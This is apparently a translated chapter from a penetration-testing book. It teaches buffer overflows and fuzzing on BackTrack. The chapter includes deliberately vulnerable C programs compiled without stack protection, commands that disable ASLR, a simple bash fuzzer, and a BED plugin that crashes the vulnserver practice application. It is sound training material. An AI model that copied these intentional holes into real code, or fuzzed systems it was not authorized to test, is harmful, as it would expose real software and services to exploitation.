通过适当的培训,用户清楚地知道点击未知链接、打开电子邮件附件,甚至插入不受信任的设备可能具有潜在的危害。不幸的是,方便往往超过常识,因此用户将继续重复旧错误。毕竟,管理员安装的所有这些保护机制难道不应该保护用户免受一切伤害吗?

在大型环境中,台式机、工作站甚至打印机通常被视为非关键设备。重点放在昂贵的服务器和对业务运行至关重要的系统上。熟练的攻击者会充分了解这种心态。如果无法轻松地利用 Web 应用程序漏洞渗透网络,攻击者通常会转而使用社会工程和客户端攻击的混合方式。如果成功,这些攻击将像热刀切黄油一样迅速穿透边界。此外,一个完全被攻陷的客户端机器可以被设置为进入本来被保护的网络的网关。

在本章中,我们将研究一些方法,帮助我们测试公司的安全意识培训和客户端保护机制的有效性。在测试的信息收集阶段进行的研究将得到充分利用。此外,我们将研究一些安全研究人员和狡猾攻击者使用的技术和工具,以绕过那些乍一看理论上似乎合理的系统控制。

缓冲区溢出 - 复习

缓冲区溢出是野外攻击者的基本技能。当这种类型的漏洞被正确利用时,攻击可能在短短几秒钟内导致系统完全被攻陷。理想情况下,通过正确实施安全开发生命周期,许多这些漏洞可以被预防。如果您的客户没有这样的做法,您可能需要执行超出标准渗透测试的步骤,并证明企业部署的(通常是内部开发的)应用程序存在缺陷。

注意

并非所有缓冲区溢出漏洞都可以用于创建远程利用。还要注意的是,并非所有缓冲区溢出都是可利用的。

通常情况下,允许缓冲区溢出的编程错误并非故意或是由于开发人员的懒惰。缓冲区溢出漏洞在应用程序开发阶段经常被忽视,要么是因为应用程序的复杂性,要么是因为原始代码库已经存在几十年,但仍在不断地进行开发。考虑到软件开发人员经常面临不合理的最后期限和来自管理层的要求,我们不应该感到惊讶,有时安全漏洞会在软件开发生命周期中被忽视或遗漏。开发人员接到的要求基于最后一刻的决定,这在逻辑上是不利于确保正在开发的应用程序的安全性。与任何其他技术一样,安全需要内置到整个过程中,而不是作为事后添加。开发人员的优先事项变成了推出代码修改,而不是专注于稳定性和安全性。

为了解决这些类型的错误,代码编译器和操作系统将包括旨在防止利用这种类型代码的机制。为了充分理解如何绕过这些机制,您至少需要基本了解什么是缓冲区溢出,以及如何验证您的客户端是否完全受到保护,以防此类攻击。

"看见"才会相信 —— 创建一个易受攻击的程序

为了充分理解忽视这些错误有多简单,我们将制作我们自己的易受攻击的程序。打开一个 32 位的 BackTrack 虚拟系统,并利用这个机会连接到互联网并进行更新。更新后,您很可能需要下载我们将使用的调试器。目前,它不包括在 BackTrack 5 R1 的一部分中。

我们将使用 GNU 调试器。您可以在以下网址了解有关此工具的其他信息:www.gnu.org/s/gdb/

注意

以下示例使用 BackTrack 的 32 位版本。

要获得 GNU 调试器,您需要使用apt-get install 命令进行安装:

# apt-get install gdb

安装完gdb后,再次断开 BackTrack 虚拟机的互联网连接。

首要任务是编译一个小程序,用于演示缓冲区溢出的情况。我们利用scanf函数中一个众所周知的缺陷来实现这个目的。在 BackTrack 中打开一个终端会话,并使用 nano 创建一个名为bovrflow.c的文件。

# nano bovrflow.c

/* This program contains an intentional vulnerability for learning purposes. */
#include <stdio.h>
#include <string.h>
int main()
{
char lstring[10];
/* ask for the user to enter a long string */
printf("Enter a long string:");
/* scanf is known to be susceptible to buffer overflow when %s conversion is used*/
scanf("%s", lstring);
/*Print out the string that was typed*/
printf("You entered: %s\n",lstring);
return 0;
}

在退出到终端之前,请确保保存您的工作。在这个程序中,我们故意使用了scanf()%s转换,因为scanf()不会对输入进行消毒,以确保它不会超出分配的缓冲区大小。有关此漏洞的更多信息可以在以下位置找到:buildsecurityin.us-cert.gov/bsi/articles/knowledge/coding/816-BSI.html

由于GCC编译器内置了安全限制,我们必须使用-fno-stack-protector来编译此代码。在命令提示符下,发出以下命令:

# gcc -o bovrflow -fno-stack-protector bovrflow.c

在上一个命令中,我们调用了gcc编译器,选择了输出文件名为bovrflow,禁用了编译器的堆栈保护功能,并针对bovrflow.c源代码进行了定位。

注意

因为我们在 BackTrack 中以 root 身份运行,所以在尝试运行之前,我们不必担心更改文件权限为可执行。

在 BackTrack 中打开和关闭 ASLR

Linux 默认使用地址空间布局随机化(ASLR)。您应该了解如何检查是否启用了 ASLR,以及如何能够打开和关闭它。让我们来看看ldd命令。这个命令将列出程序的共享库依赖关系。如果启用了 ASLR,内存地址在每次调用时都会改变:

# root@bt:~ # ldd bovrflow 

linux-gate.so.1 => (0xb786e000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7701000)
/lib/ld-linux.so.2 (0xb786f000)

# root@bt:~ # ldd bovrflow 

linux-gate.so.1 => (0xb780a000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb769d000)
/lib/ld-linux.so.2 (0xb780b000)

# root@bt:~ # ldd bovrflow 

linux-gate.so.1 => (0xb78b5000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7748000)
/lib/ld-linux.so.2 (0xb78b6000)

仔细检查后,显然内存地址每次都在变化。现在让我们通过更改randomize_va_space值来关闭 ASLR(关闭为 0,打开为 2),并比较结果:

# echo 0 > /proc/sys/kernel/randomize_va_space 

注意

对于 BackTrack 以外的 Linux 发行版,可以以相同的方式启用和禁用 Exec-Shield。例如:echo 0 > /proc/sys/kernel/exec-shield

# root@bt:~ # ldd bovrflow 

linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e77000)
/lib/ld-linux.so.2 (0xb7fe5000)

# root@bt:~ # ldd bovrflow 

linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e77000)
/lib/ld-linux.so.2 (0xb7fe5000)

# root@bt:~ # ldd bovrflow 

linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e77000)
/lib/ld-linux.so.2 (0xb7fe5000)

无论您尝试运行命令多少次,内存地址都是相同的。这表明您已关闭了 ASLR 产生的随机化。

了解缓冲区溢出的基础知识

假设boverflow.c编译正确,并且 ASLR 已关闭,我们现在可以执行我们有意使其易受攻击的程序:

# ./bovrflow 

您的输出应该如下:

Enter a long string:

在此提示符下,输入一个包含 21 个字符的序列,例如AAAA,然后按Enter

Enter a long string:AAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAA

通过输入只有四个字符,程序执行了指令,并在显示您输入的字符后正常退出。现在让我们溢出缓冲区以分析结果。这次运行程序,但输入超过 21 个字符。

root@bt:~/overflow# ./bovrflow 

Enter a long string:AAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAA
Segmentation fault 

通过输入比缓冲区能处理的数据更多,我们生成了一个分段错误。这正是我们要寻找的。让我们看看这个程序在运行时内存空间发生了什么。在提示符下调用gdb调试器。

# gdb bovrflow 

GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/overload/bovrflow...(no debugging symbols found)...done.
(gdb)

调试器将为我们提供有关bovrflow程序的详细内存信息。让我们看看在不溢出缓冲区的情况下从gdb中运行程序时会发生什么。我们在 gdb 提示符下键入r运行程序:

(gdb) r 

Starting program: /root/bovrflow
Enter a long string:AAAAAA
You entered: AAAAAA
Program exited normally.
(gdb)

这里没有什么有趣的,但这个测试是一个很好的理智检查,以确保一切正常工作。现在我们需要看一下当我们引起分段错误时会发生什么:

(gdb) r 

Starting program: /root/bovrflow
Enter a long string:AAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7e8bb00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6

再次运行程序;但是这一次我们使用了一个包含 22 个字符的序列,并故意导致了一个分段错误。在审查结果时,显然有些不对劲。注意到对SIGSEGV,分段错误的引用。我们需要利用这个错误并利用明显的漏洞。不幸的是,在继续创建我们的 shellcode 之前,我们需要了解更多。毕竟,到目前为止,我们只知道我们可以使应用程序崩溃。为了进展,我们必须查看我们的寄存器地址,以进一步理解崩溃时内存空间发生了什么。在提示符下键入i r

(gdb) i r 

eax 0x0 0
ecx 0xbffff4f8 -1073744648
edx 0xb7fcc360 -1208171680
ebx 0xb7fcaff4 -1208176652
esp 0xbffff540 0xbffff540
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7e8bb00 0xb7e8bb00 <__libc_start_main+16>
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

我们可以在ebp处看到我们的输入为0x41414141。让我们再次运行程序,并添加几个 A,看看会发生什么。

注意

如果您不理解当我们看到0x41414141时我们在看什么,请在google.com上进行快速搜索,找到一个您喜欢的 ASCII 转换表,并打印出来。

(gdb) r 

r在调试器中重新启动程序。

The program being debugged has been started already.
Start it from the beginning? (y or n) y

y让调试器知道您想要完全重新启动。

Starting program: /root/overload/bovrflow
Enter a long string:AAAAAAAAAAAAAAAAAAAAAAAA

这次我们需要输入 24 个A并按Enter

You entered: AAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()

我们的分段错误现在返回了一些奇怪的东西...当我们之前只输入 12 个字符时,输出指示0xb7e8bb00 in __libc_start_main ()来自/lib/tls/i686/cmov/libc.so.6,但现在我们返回的是0xb7004141 in ?? ()。我们甚至可以看到一些我们的A现在出现了。再次查看我们的信息寄存器:

(gdb) info registers 

eax 0x0 0
ecx 0xbffff4f8 -1073744648
edx 0xb7fcc360 -1208171680
ebx 0xb7fcaff4 -1208176652
esp 0xbffff540 0xbffff540
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7004141 0xb7004141
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

看一下eip。我们可以看到,使用 24 个字符时,地址为0xb7004141,而只有 12 个 A 时,我们看到的是0xb7e8bb00。这是重要的。我们需要尝试一件事情,使这一点变得显而易见。再次从调试器中运行程序。这次使用总共 26 个 A,并完全覆盖 EIP。

(gdb) r 

The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/overload/bovrflow

Enter a long string:AAAAAAAAAAAAAAAAAAAAAAAAAA 

You entered: AAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) i r 

eax 0x0 0
ecx 0xbffff4f8 -1073744648
edx 0xb7fcc360 -1208171680
ebx 0xb7fcaff4 -1208176652
esp 0xbffff540 0xbffff540
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10292 [ AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

现在 EIP 完全被 A 覆盖了。我们已经演示了用户如何操纵堆栈。在下一节中,我们将审查并利用一个小样本程序。

注意

如果您想挑战自己,请进行额外的研究,并尝试通过利用bovrflow来获得 root shell 或打开 nano。

到目前为止,我们已经介绍了如何操纵堆栈的基本概念。高级攻击者将了解并利用这些漏洞,以便在可能的情况下利用这些漏洞。在许多情况下,您将没有时间完全检查每个应用程序是否存在缓冲区溢出等漏洞,但了解我们将在本章中进一步使用的攻击的基本原理是很好的。如果您发现自己可能会喜欢漏洞研究,我强烈建议您查看以下资源:

了解更多关于缓冲区溢出漏洞和更多的优秀资源:
Smashing The Stack For Fun And Profit by Aleph One insecure.org/stf/smashstack.html
Mudge 的缓冲区溢出教程 insecure.org/stf/mudge_buffer_overflow_tutorial.html
Corelan 团队的网站。这个团队很棒。查看他们的教程和论坛! www.corelan.be/
"sickn3ss"的 IHASOMGSECURITYSKILLS 博客。令人印象深刻的写作,易于跟随。查看教程。 sickness.tor.hu/

模糊测试简介

每当应用程序允许输入时,无论是直接来自用户(例如输入凭据、打开文件,甚至从更改 RAM 中的数据),都有可能利用输入来造成混乱。攻击者不会花费数小时或数天在用户名和密码提示或对一个不知名端口的连接上输入(好吧,有些人可能会!)。相反,他们将利用专注于这一任务的工具,欢迎来到模糊器的世界。

模糊器通常用于生成和输出数据;这些数据可以以各种方式进行操作和格式化,并且有已发布的算法可以帮助使工作变得更加容易。

注意

请记住输入是一个非常广泛的术语。在考虑被测试应用程序的每种输入方法时,请务必考虑每种输入向量。似乎微不足道的事情,如播放一首歌曲甚至读取文件名,都可能提供可能的攻击向量。

每当出现程序允许不受控制的输入的情况时,可能会有一个模糊器等待处理任务。让我们创建一个小程序,看看模糊器可能如何帮助找到应用程序中的漏洞或异常。我们将使用strcpy()函数中的一个众所周知且经常演示的漏洞。打开 BackTrack 实例并创建以下程序:

# nano fuzzme.c 
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
bdcode(argv[1]);
return 0;
}
int bdcode(char *bdinput)
{
char stuff[200];
strcpy(stuff, bdinput);
printf("You passed the following data to fuzzme: %s\n",stuff);
return 0;
}

如前所述,我们正在创建一个场景,其中stuff字符缓冲区可以被超载。int main(int argc, char** argv)指示程序在调用文件之后并在按下Enter之前接受输入,并将其分配给argv,然后我们可以将其复制到stuff变量中。如果stuff无法包含所呈现的数据的数量或类型,将发生分段错误。

确保使用-fno-stack-protector参数进行编译。

# gcc -o fuzzme -fno-stack-protector fuzzme.c 

尝试在尝试和不尝试引起分段错误的情况下运行程序:

# ./fuzzme AAAAAAAAAA 

You passed the following data to fuzzme: AAAAAAAAAA

现在我们需要尝试足够的输入来导致崩溃:

root@bt:~# ./fuzzme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

You passed the following data to fuzzme: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

如预期的那样,在 208 个字符时,我们生成了一个有意的分段错误。现在假设您事先不知道这一点,可能需要数百或数千个字符才能使程序崩溃。这就是为什么我们希望使用模糊器来自动执行攻击。让我们使用 shell 脚本制作一个非常基本的概念验证:

# nano myfuzzr.sh 

# !/bin/bash
COUNTER=1
FUZZY=A
FUZZIER=A
echo "How many A's would you like to try?"
read COUNTER
while [ $COUNTER -ge 1 ]; do
let COUNTER=COUNTER-1
FUZZY="$FUZZY$FUZZIER"
echo `./fuzzme $FUZZY`
done

在这个简单的模糊器表示中,我们要求输入我们想要针对程序进行测试的 A 的数量。然后,我们运行一个循环,直到计数器再次降至 1。如果我们运行程序并选择 10,我们将收到以下输出:

# ./myfuzzr.sh 

How many A's would you like to try?

10

You passed the following data to fuzzme: AA
You passed the following data to fuzzme: AAA
You passed the following data to fuzzme: AAAA
You passed the following data to fuzzme: AAAAA
You passed the following data to fuzzme: AAAAAA
You passed the following data to fuzzme: AAAAAAA
You passed the following data to fuzzme: AAAAAAAA
You passed the following data to fuzzme: AAAAAAAAA
You passed the following data to fuzzme: AAAAAAAAAA

尝试看看当您选择 208 个 A 时会发生什么。该程序并不复杂,不会干净地退出。您也不会有任何指示器表明发生了什么,或者为什么 207 个之后的 A 没有显示。

注意

挑战自己修改这个简单的程序,或者用更合适的脚本语言或编程语言(如 Python 或 Ruby)重新创建它。

通过这些练习,模糊测试的基本概念应该是明显的。有一些专门致力于这个主题的书籍,因此我们只能浅尝辄止,模糊测试可能是真正艺术形式的表面。

介绍 vulnserver

在接下来的几个练习中,我们将使用 vulnserver(grey-corner.blogspot.com/2010/12/introducing-vulnserver.html)作为我们的目标。这个有意漏洞的应用程序是由 Stephen Bradshaw 创建的,旨在为自己和安全社区提供一个可以用来练习各种与安全相关的任务的应用程序。

理想情况下,该程序应在基于 Windows 的机器上运行;由于我们试图让这本书专注于开源和免费可用的程序,我们将在我们的 BackTrack 机器上运行服务器。这将足以了解 BackTrack 中提供的更多关于模糊测试工具的信息。

将 vulnserver 应用程序下载到您的 BackTrack 机器上,解压缩它,仔细查看许可证和 README 文件,并在再次断开 BackTrack 实例与互联网的连接后,使用以下命令启动vulnserver.exe

# wine vulnserver.exe 4444 

Starting vulnserver version 1.00
Called essential function dll version 1.00
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Waiting for client connections...

此命令将使用wine在端口 4444 上运行您的vulnserver.exe应用程序。要测试服务器是否正常工作,请打开一个终端会话,并使用netcat连接到服务器,如下所示:

# nc 127.0.0.1 4444 

您将看到 vulnserver 的介绍屏幕:

Welcome to Vulnerable Server! Enter HELP for help.

如提示所述,您可以输入 HELP 以获取有关可用输入的信息:

HELP 

Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

我们将使用预先安装在 BackTrack 5 R1 上的不同模糊测试工具向这些输入注入畸形、随机或变异的数据。要更熟悉服务器,随时随地随意探索。以下是一个有效输入的示例:

LTER AAAAAA 

LTER COMPLETE

该应用程序期望一个我们提供的输入,我们提供了 LTER AAAAAA。由于这个输入没有问题,应用程序会返回到正常状态。

注意

有关 vulnserver 应用程序的详细信息,请访问 Stephen Bradshaw 的博客。在那里,您还会发现它包含了与他的 vulnserver 应用程序相关的几个很棒的教程,这些教程写得很好,易于理解。

BackTrack 中包含的模糊测试工具

幸运的是,对于典型的渗透测试人员来说,不需要花费数月甚至数年来准备完美的模糊测试工具。社区已经为我们提供了大量这些精彩的工具,与编写它们相比,它们的使用非常简单!

Bruteforce Exploit Detector (BED)

Bruteforce Exploit Detector (BED)正如其名称所示。该程序将允许您向目标应用程序发送数据,希望会发生崩溃。尽管这种方法在某些情况下确实有效,但在尝试查找易受攻击的应用程序时,有时需要更多的控制。BackTrack 5 R1 在/pentest/fuzzers/bed预安装了 BED。BED 提供了在不修改的情况下模糊测试几种常用协议的能力。

/pentest/fuzzers/bed# ./bed.pl 

BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )
Usage:
./bed.pl -s <plugin> -t <target> -p <port> -o <timeout> [ depends on the plugin ]
<plugin> = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5
<target> = Host to check (default: localhost)
<port> = Port to connect to (default: standard port)
<timeout> = seconds to wait after each test (default: 2 seconds)
use "./bed.pl -s <plugin>" to obtain the parameters you need for the plugin.
Only -s is a mandatory switch.

除了 Bruteforce Exploit Detector 的开发人员提供的插件之外,您还可以轻松创建自己的插件。查看/pentest/fuzzers/bed/docs目录中的dummy.pm文件。这个模板为您提供了一个可以根据我们的需求进行修改的模板。切换到/pentesting/fuzzers/bed/bedmod目录,并cat一些文件,比如ftp.pm,以更好地了解完全功能的插件是什么样子的。当您对格式感到满意时,在bedmod文件夹中创建一个新文件,并将其命名为vserver.pm。以下代码是使用dummy.pm示例模板创建的。将此代码输入到vserver.pm中:

package bedmod::vserver;
use Socket;
sub new{
my $this = {};
# define everything you might need
bless $this;
return $this;
}
sub init{
my $this = shift;
%special_cfg=@_;
$this->{proto} = "tcp";
if ($special_cfg{'p'} eq "") { $this->{port}='4444'; }
else { $this->{port} = $special_cfg{'p'}; }
$iaddr = inet_aton($this->{target}) || die "Unknown host: $host\n";
$paddr = sockaddr_in($this->{port}, $iaddr) || die "getprotobyname: $!\n";
$proto = getprotobyname('tcp') || die "getprotobyname: $!\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die "socket: $!\n";
connect(SOCKET, $paddr) || die "connection attempt failed: $!\n";
send(SOCKET, "HELP", 0) || die "HELP request failed: $!\n";
$this->{vrfy} = "HELP\r\n";
}
sub getQuit{
return("EXIT\r\n");
}
# what to test without doing a login before
sub getLoginarray{
my $this = shift;
@login = ("");
return(@login);
}
# which commands does this protocol know ?
sub getCommandarray {
my $this = shift;
# the XAXAX will be replaced with the buffer overflow / format string data
# place every command in this array you want to test
@cmdArray = (
"XAXAX\r\n",
"STATS XAXAX\r\n",
"RTIME XAXAX\r\n",
"LTIME XAXAX\r\n",
"SRUN XAXAX\r\n",
"TRUN XAXAX\r\n",
"GMON XAXAX\r\n",
"GDOG XAXAX\r\n",
"KSTET XAXAX\r\n",
"GTER XAXAX\r\n",
"HTER XAXAX\r\n",
"LTER XAXAX\r\n",
"KSTAN XAXAX\r\n"
);
return(@cmdArray);
}
# How to respond to login prompt:
sub getLogin{ # login procedure
my $this = shift;
@login = ("HELP\r\n");
return(@login);
}
# Test anything else you would like to
sub testMisc{
return();
}
1;

乍一看,这段代码可能看起来很复杂。如果你看一下高亮显示的代码,你会看到我们特定插件的最重要的方面。我们已经指示 BED 向我们通过 HELP 命令提供的每个输入发送数据。默认端口设置为 4444,登录为空,因为对于这种类型的应用程序不需要。在我们可以使用vserver.pm插件之前还需要进行一些修改。打开/pentest/fuzzers/bed/bed.pl文件进行编辑,并在第 14 行的@plugins变量中添加vserver

@plugins = ( "ftp", "smtp", "pop", "http", "irc", "imap", "pjl", "lpd", "finger", "socks4", "socks5", "vserver" );

保存你对bed.pl所做的更改并退出编辑器。假设你已经在 4444 端口上启动了vulnserver.exe,让我们尝试一下我们的新插件:

# ./bed.pl -s vserver -t 127.0.0.1 

BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )
* Normal tests
+ Buffer overflow testing:
testing: 1 XAXAX ...........
testing: 2 STATS XAXAX ...........
testing: 3 RTIME XAXAX ...........
testing: 4 LTIME XAXAX ...........
testing: 5 SRUN XAXAX ...........
testing: 6 TRUN XAXAX ...........
testing: 7 GMON XAXAX ...........
testing: 8 GDOG XAXAX ...........
testing: 9 KSTET XAXAX ...

Bed.pl确实在做一些事情,但我们并没有确切地得到任何反馈。如果你等待足够长的时间,你会收到崩溃的通知。

Bruteforce Exploit Detector (BED)

不幸的是,vulnserver 应用程序仍在接收连接,因此bed.pl将继续暴力破解过程。此外,此时我们不知道是什么导致了崩溃。当我们点击关闭时,我们会从 vulnserver 控制台获得一些调试信息,但在处理客户端修改或创建的应用程序时,这种行为并不总是可以预期的。通常情况下,为了避免给潜在攻击者提供过多信息,生产应用程序会禁用调试。

注意

我们没有编写任何会在EXIT命令启动后停止程序的语句(比如 GOODBYE)。因此,Bruteforce Exploit Detector 没有检测到问题!挑战自己,为你的插件添加这个功能!

让我们看一下从stdout提供使用反馈的终端:

Waiting for client connections...
Unhandled exception: page fault on read access to 0x41414141 in 32-bit code (0x41414141).
Register dump:
CS:0073 SS:007b DS:007b ES:007b FS:0033 GS:003b
EIP:41414141 ESP:00c0e4c0 EBP:41414141 EFLAGS:00210202( R- -- I - - - ) 
EAX:00c0e470 EBX:7bc9cff4 ECX:00000000 EDX:00000065
ESI:7ffccf10 EDI:00401848
Stack dump:
0x00c0e4c0: 41414141 41414141 41414141 41414141
0x00c0e4d0: 41414141 00000000 00000000 00000000
0x00c0e4e0: 00000000 00000000 00000000 00000000
0x00c0e4f0: 00000000 00000000 00000000 00000000
0x00c0e500: 00000000 00000000 00000000 0018ff48
0x00c0e510: 696c6156 6f432064 6e616d6d 0a3a7364
Backtrace:
0x41414141: -- no code accessible --
Modules:
Module Address Debug info Name (22 modules)
PE 400000- 407000 Deferred vulnserver
PE 62500000-62508000 Deferred essfunc
ELF 7b800000-7b97d000 Deferred kernel32<elf>
\-PE 7b810000-7b97d000 \ kernel32
ELF 7bc00000-7bcb9000 Deferred ntdll<elf>
\-PE 7bc10000-7bcb9000 \ ntdll
ELF 7bf00000-7bf04000 Deferred <wine-loader>
ELF 7ed60000-7ed7f000 Deferred libgcc_s.so.1
ELF 7ed90000-7edbd000 Deferred ws2_32<elf>
\-PE 7eda0000-7edbd000 \ ws2_32
ELF 7edbd000-7ee3f000 Deferred msvcrt<elf>
\-PE 7edd0000-7ee3f000 \ msvcrt
ELF 7ef9c000-7efa8000 Deferred libnss_files.so.2
ELF 7efa8000-7efb2000 Deferred libnss_nis.so.2
ELF 7efb2000-7efc9000 Deferred libnsl.so.1
ELF 7efc9000-7efef000 Deferred libm.so.6
ELF 7eff8000-7f000000 Deferred libnss_compat.so.2
ELF b7593000-b7597000 Deferred libdl.so.2
ELF b7597000-b76f1000 Deferred libc.so.6
ELF b76f2000-b770b000 Deferred libpthread.so.0
ELF b771c000-b785c000 Deferred libwine.so.1
ELF b785e000-b787b000 Deferred ld-linux.so.2
Threads:
process tid prio (all id:s are in hex)
0000000e services.exe
00000014 0
00000010 0
0000000f 0
00000011 winedevice.exe
00000018 0
00000017 0
00000013 0
00000012 0
00000074 (D) Z:\root\vulnserver.exe
0000004d 0
00000048 0 <==
00000076 0
00000075 0
0000004b explorer.exe
0000004c 0
Backtrace:
Send failed with error: 10054
Received a client connection from 127.0.0.1:41190
Waiting for client connections...

值得注意的是,EIP 已被覆盖为41414141。这是一个很好的指示,表明可能存在对这个堆栈溢出的利用。还要注意服务器输出表明正在发生连接请求。服务器并没有完全崩溃,只是这个连接。如果以后需要创建自己的利用,这可以为你带来好处。

既然我们知道应用程序存在问题,我们需要了解是什么导致了崩溃。通常情况下,你的模糊器会为你提供这些信息,但在这种情况下,bed.pl仍在继续运行。

# wireshark 

等到 Wireshark GUI 完全加载并选择捕获lo的选项(这将允许你观察本地流量)从屏幕中间。

Bruteforce Exploit Detector (BED)

让我们重现错误,但这次我们将在Wireshark中观察数据包,因为它们穿过本地环回接口。重新启动vulnserver,然后再次使用vserver插件启动bed.pl。一切都开始后,切换到 Wireshark 并查看正在传递的数据包。你可以右键单击 Wireshark 中的任何消息,然后选择跟踪 TCP 流以查看消息的易于阅读的格式。

如果你等到崩溃发生,你可以在 Wireshark 中搜索看起来最明显导致崩溃的流。请记住,我们的代码中没有任何延迟,所以最后建立的连接不一定是导致错误发生的连接。在这种情况下,注意到在vulnserver控制台上,在崩溃发生之前最后建立的连接是:

Received a client connection from 127.0.0.1:41041 
Waiting for client connections...
wine: Unhandled page fault on read access to 0x41414141 at address 0x41414141 (thread 0048), starting debugger...

如果你去 Wireshark 并在过滤器菜单中输入tcp.stream eq 41041,你将只看到组成我们感兴趣的消息的数据包。选择其中一个被过滤的消息,右键单击它,然后查看 TCP 流。

Bruteforce Exploit Detector (BED)

看起来最后一条发送到 vulnserver 的消息是:

KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

在不使用过滤器的情况下查看以前的消息,我们可以确定KSTET通常在成功接受输入后发送响应(KSTET SUCCESSFUL)

EXIT
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HELP
EXIT
KSTET SUCCESSFUL

我们可以测试这个输入,看看我们是否可以手动复制错误。停止并重新启动 vulnserver,然后手动netcat127.0.0.1端口 4444。

# nc 127.0.0.1 4444 

Welcome to Vulnerable Server! Enter HELP for help.

KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

KSTET SUCCESSFUL

KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

此时应用程序将崩溃,并且Program Error弹出窗口将再次出现。单击Program Error窗口中的Close。再次可以从调试器的输出中查看,并注意 EIP(当前正在处理的指令)已被 41414141 覆盖。

提示

在尝试确保正在测试的环境的安全姿态时,我们应该寻找这种可重复的错误。根据测试的范围,此时业务可能只需要潜在漏洞的详细信息。如果范围允许,可以创建一个应用程序的利用来证明漏洞可能导致重要数据、资产或收入的损失。

SFUZZ:简单模糊器

由 Aaron Conole 创建的简单模糊器 SFUZZ 是一个很好的工具,如果你想认真开始进行模糊化业务。对于那些还没有准备好花时间来学习如何充分使用 SPIKE 的人来说,SFUZZ 是强大且有用的。此外,有时使用更小、更简单的工具更有效率。

如果您仍在学习利用开发,那么 SFUZZ 将成为一个很好的垫脚石,并且在未来的几年中肯定会继续成为您渗透测试知识库中的宝贵补充;有时,拥有快速且易于配置的工具非常方便!

